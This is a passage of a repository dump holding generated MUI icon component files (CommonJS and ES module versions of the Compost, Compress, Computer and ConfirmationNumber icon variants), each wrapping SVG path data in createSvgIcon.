    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'CompostSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'CompostSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'CompostTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompostTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.87 11.81c-.23-.38-.37-.83-.37-1.31C12.5 9.12 13.62 8 15 8h1c1.51 0 2-1 2-1s.55 6-3 6c-.49 0-.94-.14-1.32-.38-.24.64-.59 1.76-.76 2.96 1.26.22 2.28.89 2.77 1.77 1.69-1.17 2.81-3.13 2.81-5.35h3c0 5.24-4.26 9.5-9.5 9.5S2.5 17.24 2.5 12 6.76 2.5 12 2.5V0l4 4-4 4V5.5c-3.58 0-6.5 2.92-6.5 6.5 0 2.21 1.11 4.17 2.81 5.35.51-.92 1.63-1.62 2.98-1.8-.09-.69-.26-1.42-.49-2.03-.35.3-.8.48-1.3.48-1.1 0-2-.9-2-2v-.99c0-.56-.19-1.09-.5-1.51 0 0 4.45-.23 4.5 2.5 0 .29-.06.56-.17.8-.42-.32-.86-.6-1.33-.8.58.43 1.37 1.37 2 2.6.67-1.62 1.68-3.27 3-4.6-.76.52-1.47 1.12-2.13 1.81\"\n}), 'CompostTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Compress.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 19h3v3h2v-3h3l-4-4zm8-15h-3V1h-2v3H8l4 4zM4 9v2h16V9zm0 3h16v2H4z\"\n}), 'Compress');"
  },
  {
    "path": "packages/mui-icons-material/lib/Compress.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 19h3v3h2v-3h3l-4-4zm8-15h-3V1h-2v3H8l4 4zM4 9v2h16V9zm0 3h16v2H4z\"\n}), 'Compress');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9v2h16V9zm12-5-1.41-1.41L13 4.17V1h-2v3.19L9.39 2.61 8 4l4 4zM4 14h16v-2H4zm4 5 1.39 1.39L11 18.81V22h2v-3.17l1.59 1.59L16 19l-4-4z\"\n}), 'CompressOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9v2h16V9zm12-5-1.41-1.41L13 4.17V1h-2v3.19L9.39 2.61 8 4l4 4zM4 14h16v-2H4zm4 5 1.39 1.39L11 18.81V22h2v-3.17l1.59 1.59L16 19l-4-4z\"\n}), 'CompressOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1m10.79-6H13V2c0-.55-.45-1-1-1s-1 .45-1 1v2H9.21c-.45 0-.67.54-.36.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.32-.31.1-.85-.35-.85M9.21 19H11v2c0 .55.45 1 1 1s1-.45 1-1v-2h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85M5 14h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'CompressRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10c0 .55.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1m10.79-6H13V2c0-.55-.45-1-1-1s-1 .45-1 1v2H9.21c-.45 0-.67.54-.36.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.32-.31.1-.85-.35-.85M9.21 19H11v2c0 .55.45 1 1 1s1-.45 1-1v-2h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85M5 14h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'CompressRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm12-5h-3V1h-2v3H8l4 4zM8 19h3v3h2v-3h3l-4-4zm-4-7h16v2H4z\"\n}), 'CompressSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm12-5h-3V1h-2v3H8l4 4zM8 19h3v3h2v-3h3l-4-4zm-4-7h16v2H4z\"\n}), 'CompressSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm12-5h-3V1h-2v3H8l4 4zM8 19h3v3h2v-3h3l-4-4zm-4-7h16v2H4z\"\n}), 'CompressTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CompressTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm12-5h-3V1h-2v3H8l4 4zM8 19h3v3h2v-3h3l-4-4zm-4-7h16v2H4z\"\n}), 'CompressTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Computer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'Computer');"
  },
  {
    "path": "packages/mui-icons-material/lib/Computer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'Computer');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'ComputerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'ComputerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zM5 6h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'ComputerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H1c-.55 0-1 .45-1 1s.45 1 1 1h22c.55 0 1-.45 1-1s-.45-1-1-1zM5 6h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1\"\n}), 'ComputerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 18 2-2V4H2v12l2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'ComputerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 18 2-2V4H2v12l2 2H0v2h24v-2zM4 6h16v10H4z\"\n}), 'ComputerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}, \"1\")], 'ComputerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ComputerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 1.99-.9 1.99-2L22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2H0v2h24v-2zM4 6h16v10H4z\"\n}, \"1\")], 'ComputerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumber.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V6c0-1.11-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-9 7.5h-2v-2h2zm0-4.5h-2v-2h2zm0-4.5h-2v-2h2z\"\n}), 'ConfirmationNumber');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumber.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V6c0-1.11-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-9 7.5h-2v-2h2zm0-4.5h-2v-2h2zm0-4.5h-2v-2h2z\"\n}), 'ConfirmationNumber');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V6c0-1.11-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM11 15h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2z\"\n}), 'ConfirmationNumberOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V6c0-1.11-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM11 15h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2z\"\n}), 'ConfirmationNumberOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 8.54V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v2.54c0 .69.33 1.37.94 1.69C3.58 10.58 4 11.24 4 12s-.43 1.43-1.06 1.76c-.6.33-.94 1.01-.94 1.7V18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-2.54c0-.69-.34-1.37-.94-1.7-.63-.34-1.06-1-1.06-1.76s.43-1.42 1.06-1.76c.6-.33.94-1.01.94-1.7m-9 8.96h-2v-2h2zm0-4.5h-2v-2h2zm0-4.5h-2v-2h2z\"\n}), 'ConfirmationNumberRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 8.54V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v2.54c0 .69.33 1.37.94 1.69C3.58 10.58 4 11.24 4 12s-.43 1.43-1.06 1.76c-.6.33-.94 1.01-.94 1.7V18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-2.54c0-.69-.34-1.37-.94-1.7-.63-.34-1.06-1-1.06-1.76s.43-1.42 1.06-1.76c.6-.33.94-1.01.94-1.7m-9 8.96h-2v-2h2zm0-4.5h-2v-2h2zm0-4.5h-2v-2h2z\"\n}), 'ConfirmationNumberRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20v-6c-1.1 0-2-.9-2-2s.9-2 2-2m-9 7.5h-2v-2h2zm0-4.5h-2v-2h2zm0-4.5h-2v-2h2z\"\n}), 'ConfirmationNumberSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20v-6c-1.1 0-2-.9-2-2s.9-2 2-2m-9 7.5h-2v-2h2zm0-4.5h-2v-2h2zm0-4.5h-2v-2h2z\"\n}), 'ConfirmationNumberSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12s-.81 2.77-2 3.46V18h16v-2.54c-1.19-.69-2-1.99-2-3.46s.81-2.77 2-3.46V6H4zM11 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V6c0-1.11-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM11 15h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2z\"\n}, \"1\")], 'ConfirmationNumberTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConfirmationNumberTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12s-.81 2.77-2 3.46V18h16v-2.54c-1.19-.69-2-1.99-2-3.46s.81-2.77 2-3.46V6H4zM11 7h2v2h-2zm0 4h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V6c0-1.11-.9-2-2-2H4c-1.1 0-1.99.89-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM11 15h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2z\"\n}, \"1\")], 'ConfirmationNumberTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConnectWithoutContact.js",
